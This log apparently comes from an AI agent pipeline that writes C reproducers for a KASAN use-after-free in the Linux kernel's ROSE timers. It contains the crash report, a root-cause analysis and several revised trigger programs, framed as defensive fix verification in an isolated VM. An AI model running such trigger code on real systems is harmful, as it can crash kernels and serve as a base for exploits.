>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Current Strategy: An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
Feedback: The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed.

Reply:
The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```

192/5 2026/05/26 11:57 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12294
							output: 1555
							thoughts: 1792
						

Thoughts:
**Refining the ROSE Reproducer**

Okay, so the feedback is pretty clear. The `ioctl(SIOCSIFHWADDR)` call on `rose0` is failing with `-EINVAL` because I'm using `AF_ROSE` (11) for `ifr.ifr_hwaddr.sa_family` when it should be `ARPHRD_ROSE` (270). This, in turn, is causing the subsequent `bind()` to fail with `-EADDRNOTAVAIL`. Right, makes sense.

So, first thing I need to do is update the reproducer.  I need to change that line:

```c
ifr.ifr_hwaddr.sa_family = AF_ROSE;
```

to either:

```c
ifr.ifr_hwaddr.sa_family = 270; // ARPHRD_ROSE
```

or, and this is cleaner and more maintainable:

```c
ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
```

I'll go with the latter, which means I'll need to include `<net/if_arp.h>` in the reproducer code.  Just to be absolutely sure, I'll quickly check that `ARPHRD_ROSE` is indeed defined within that header – and yep, it's right there.

The rest of the code looks fine in terms of its logic for triggering the race condition – creating the ax0 device, bringing it up, setting the MAC, setting sysctls, and then triggering the race with the socket operations. The fix is a simple, direct substitution of the incorrect family.

So, the change is confirmed, now just to include the header file and substitute the family.



193/3 2026/05/26 11:57 action merge-strategy
0m Results:
map[CurrentReproStrategy:The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```]

194/3 2026/05/26 11:57 agent repro-generator
1m Model:
gemini-3.1-pro-preview

Results:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
